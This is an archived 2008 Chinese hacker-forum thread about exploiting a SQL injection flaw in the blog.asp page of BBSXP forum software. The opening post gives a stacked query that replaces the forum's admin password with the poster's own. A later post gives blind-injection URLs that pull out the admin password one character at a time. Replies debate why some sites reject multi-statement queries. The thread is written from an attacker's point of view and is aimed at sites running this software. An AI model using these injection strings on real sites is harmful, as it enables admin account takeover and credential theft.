【3.A.S.T】网络安全爱好者's Archiver

黑客学习

valen886 发表于 2008-7-25 13:53

[讨论]一个ASP中SQL语句的基本问题

[讨论]一个ASP中SQL语句的基本问题
  议题提交:职业欠钱
信息来源:邪恶八进制安全小组

最近学习BBSXP漏洞时,发现一个很奇怪的地方。
blog.asp中,开头部分是这么写的:
id=HTMLEncode(Request("id"))

top

if id<>"" then
sql="select * from [calendar] where id="&id&" order by id Desc"
看起来漏洞非常的大,ID变量只是简单的经过HTMLEncode过滤就放到了SQL语句中。在AC版中很容易构造union查询得到密码等敏感信息。可是在MSSQL中却不行,原因先不说,也许大家也知道。
可是问题来了,照常理,我们只需要构造多几个语句来执行update什么的危害也就够大了。
为此我构造
id=1 update clubconfig set adminpassword=(select userpass from [user] where username=0xXXXX(这里是我的用户名的十六进制,用以绕开单引号)) select * from [calendar]
这个句子在查询分析器里执行正常,可是提交到BBSXP的blog.asp时却出错了
Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e14&#39;

sp_cursoropen/sp_cursorprepare: 语句参数只能是单个 SELECT 语句或单个存储过程。

/xp/blog.asp,行 14

于是检查14行出的代码,是这么写的:
rs.Open sql,Conn,1
对比上次的showforum.asp,发现showforum.asp是这么写的:
if PageCount<2 then
sql="select top "&pagesetup&" * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"
Set Rs=Conn.Execute(sql)
else
sql="select * from [forum] "&topsql&" order by toptopic Desc,"&order&" Desc"

rs.Open sql,Conn,1
end if
如果我没有理解错的话,showforum.asp中,首先需要判断PageCount是否大于1页。(PageCount>2)
如果不大于的话,使用Set Rs=Conn.Execute(sql)执行。
否则使用rs.Open sql,Conn,1执行SQL语句。

于是问题来了。如果blog.asp中出问题是因为执行SQL语句的方式不同(rs.Open sql,Conn,1而不是Conn.Execute(sql))
那么在showforvm.asp中,当页数大于2,update就应该会失败,可是事实上我们选择了多个站点测试均成功。而放到blog.asp中就必然提示上述错误。
我曾搜过不少关于
rs.Open sql,Conn,1的资料,大体上都是说什么rs.Open sql,Conn,A,B 一类的。现在这里只有一个数 1,那么这个1 是A还是B?
这个问题想了好久,实在想不出来,故到此麻烦前辈。写的很长,抱歉,我不怎么会表达
谢谢各位指点个人论坛: http://www.xdxf.net
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=4222]2[/url] 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4222]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=干洗店加盟&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]少女暴富的隐秘(图)[/url]

[url=http://forum.eviloctal.com/space-uid-774.html]勇敢的风[/url] [img]http://forum.eviloctal.com/customavatars/774.bmp[/img]
技术核心组
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level2.gif[/img]

晨曦的男朋友 发表于 2008-7-25 13:53

HTMLEncode(Request("id"))可能是一个陷阱,他是一个函数,不是asp的对象属性风,有时静,有时猛风,有时喜,有时恨风,有时大,有时小我,我是风,我爱风我是风流的风
[url=http://wpa.qq.com/msgrd?V=1&Uin=55221687&Site=邪恶八进制信息安全团队技术讨论组&Menu=yes][img]http://forum.eviloctal.com/images/default/qq.gif[/img][/url]
帖子197 精华[url=http://forum.eviloctal.com/digest.php?authorid=774]28[/url] 积分5191 阅读权限200 性别男 来自河南洛阳 在线时间126 小时 注册时间2004-11-21 最后登录2008-4-6 [url=http://feng.cnblog.com.cn]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=774]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=猎头&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]您知道您年薪应是多少?[/url]

[url=http://forum.eviloctal.com/space-uid-4222.html]职业欠钱[/url] [img]http://forum.eviloctal.com/images/avatars/pw/mm1.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

车大炮 发表于 2008-7-25 13:53

这不是什么陷阱的问题了.HTMLEncode是在setup.asp中定义的,原型如下:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"&#39;","&#39;")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
也就是一个用来过滤掉一些HTML字符的函数而已
要绕开它进行SQL 注射很容易.像上次ShowForum.asp就是这样的
这个问题还没解决,现在又遇到了个新问题.
[url=http://site/bbs/blog.asp?id=1%20and%20]http://site/bbs/blog.asp?id=1%20and%20[/url](select%20substring(adminpassword,1,1)%20from%20clubconfig)%20between%200x30%20and%200x5a
这是对blog.asp的SQL版利用方式.结果是,有些论坛可以成功,一位一位的暴出密码,而有些则出错
Microsoft OLE DB Provider for SQL Server 错误 &#39;80040e21&#39;
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/bbs/blog.asp,行 14
很是郁闷,个人感觉语句是一点问题也没有的
上次玩shwoforum.asp时是因为语句太长(感觉.因为改后抬密码的时候有32位,要分两次,具体的分析见本人发表在2005年5月的《黑客X档案》上的文章)而这次感觉不像~
因为换成一些简单的SQL语句是不出错的:
[url=http://site/bbs/blog.asp?id=1%20and%20exists%20]http://site/bbs/blog.asp?id=1%20and%20exists%20[/url](select%20today%20from%20clubconfig)
而在后面拼命的加 and 1=1 and 1=1
比如
[url=http://site/bbs/blog.asp?id=1%20and%20exists%20]http://site/bbs/blog.asp?id=1%20and%20exists%20[/url](select%20today%20from%20clubconfig)%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1
有兴趣你还可以自己再加。
反正就是不出错
这又是一个问题,还是老话,希望大家一起来讨论一下个人论坛: http://www.xdxf.net
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=4222]2[/url] 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4222]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=软件外包&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]软件项目外包[/url]

[url=http://forum.eviloctal.com/space-uid-4222.html]职业欠钱[/url] [img]http://forum.eviloctal.com/images/avatars/pw/mm1.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

jencky 发表于 2008-7-25 13:53

那可以帮忙解释一下两种执行SQL语句的区别吗?
Set Rs=Conn.Execute(sql)应该是无条件执行,不存在游标或锁定的问题
rs.Open sql,Conn,1
照楼上的说法是 A,(我之前也一直这么猜测)
那么,这种执行就只能执行select而不能update了?
从网上搜的资料如下:
RS.OPEN SQL,CONN,A,B
A:
ADOPENFORWARDONLY(=0)
只读,且当前数据记录只能向下移动
ADOPENKEYSET(=1)
只读,当前数据记录可自由移动
ADOPENDYNAMIC(=2)
可读写,当前数据记录可自由移动
ADOPENSTATIC(=3)
可读写,当前数据记录可自由移动,可看到新增记录

B:
ADLOCKREADONLY(=1)
缺省锁定类型,记录集是只读的,不能修改记录
ADLOCKPESSIMISTIC(=2)
悲观锁定,当修改记录时,数据提供者将尝试锁定记录以确保成功地编辑记录。只要编辑一开始,则立即锁住记录。
ADLOCKOPTIMISTIC(=3)
乐观锁定 ,直到用Update方法提交更新记录时才锁定记录。
ADLOCKBATCHOPTIMISTIC(=4)
批量乐观锁定,允许修改多个记录,只有调用UpdateBatch方法后才锁定记录。个人论坛: http://www.xdxf.net
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=4222]2[/url] 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4222]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-3834.html]jinsdb[/url]
Jinsdb
[img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

醉鞭名马 发表于 2008-7-25 13:53

有的支持多语句执行
有的不支持.
支持的就成功了
帖子18 精华[url=http://forum.eviloctal.com/digest.php?authorid=3834]0[/url] 积分244 阅读权限40 性别男 在线时间117 小时 注册时间2005-4-20 最后登录2008-7-22 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3834]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-4222.html]职业欠钱[/url] [img]http://forum.eviloctal.com/images/avatars/pw/mm1.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

高尔夫1.8t 发表于 2008-7-25 13:53

……
默认MSSQL本身就是支持多语句执行的
不过在这个漏洞中会提示 只允许单个的select 什么的和存储过程(原话不记得了)
所以我初步猜测是由于执行SQL语句的方式不同(见楼顶帖)
可是又找不到权威资料
所以来这里找大家讨论一下,希望有知道的朋友指点一下个人论坛: http://www.xdxf.net
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=4222]2[/url] 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4222]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=风水&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]良辰择日,预测咨询,公司改名,权威易经[/url]

[url=http://forum.eviloctal.com/space-uid-4222.html]职业欠钱[/url] [img]http://forum.eviloctal.com/images/avatars/pw/mm1.gif[/img]
荣誉会员
[img]http://forum.eviloctal.com/images/default/star_level2.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img][img]http://forum.eviloctal.com/images/default/star_level1.gif[/img]

ken2 发表于 2008-7-25 13:53

关于第二个问题已经解决了~~
现在还是想知道我的猜测是不是对的:
rs.Open sql,Conn,1 --->只能执行一个查询的语句
Set Rs=Conn.Execute(sql) -->只管执行好了,可多语句,并且是任意的

因为测试的样子看起来好象就是这样的
不过在这种情况下,对showforum.asp中的page不小于2的情况还是有问题
郁闷了~个人论坛: http://www.xdxf.net
帖子60 精华[url=http://forum.eviloctal.com/digest.php?authorid=4222]2[/url] 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 [url=http://forum.eviloctal.com/space.php?action=viewpro&uid=4222]查看详细资料[/url]TOP [url=http://www.google.cn/search?q=DHC化妆品&client=pub-0204114945524753&forid=1&prog=aff&ie=UTF-8&oe=UTF-8&cof=GALT%3A#008000;GL%3A1;DIV%3A336699;VLC%3A663399;AH%3Acenter;BGC%3AFFFFFF;LBGC%3A336699;ALC%3A0000FF;LC%3A0000FF;T%3A000000;GFNT%3A0000FF;GIMP%3A0000FF;FORID%3A1&hl=zh-CN]让女孩一夜变的更有女人味[/url]

[url=http://forum.eviloctal.com/space-uid-3636.html]chinadu[/url] [img]http://forum.eviloctal.com/images/avatars/pw/male3.gif[/img]
晶莹剔透§烈日灼然

s369 发表于 2008-7-25 13:53

JDBC驱动的问题 [img]http://forum.eviloctal.com/images/smilies/yangcong/58.gif[/img]
帖子9 精华[url=http://forum.eviloctal.com/digest.php?authorid=3636]0[/url] 积分27 阅读权限40 性别男 在线时间7 小时 注册时间2005-4-15 最后登录2008-7-12 [url=http://www.4shell.org]查看个人网站[/url]
[url=http://forum.eviloctal.com/space.php?action=viewpro&uid=3636]查看详细资料[/url]TOP

[url=http://forum.eviloctal.com/space-uid-74548.html]heiye88[/url] [img]http://forum.eviloctal.com/images/avatars/noavatar.gif[/img]
晶莹剔透§烈日灼然

页: [1]

Powered by Discuz! Archiver 7.2  © 2001-2009 Comsenz Inc.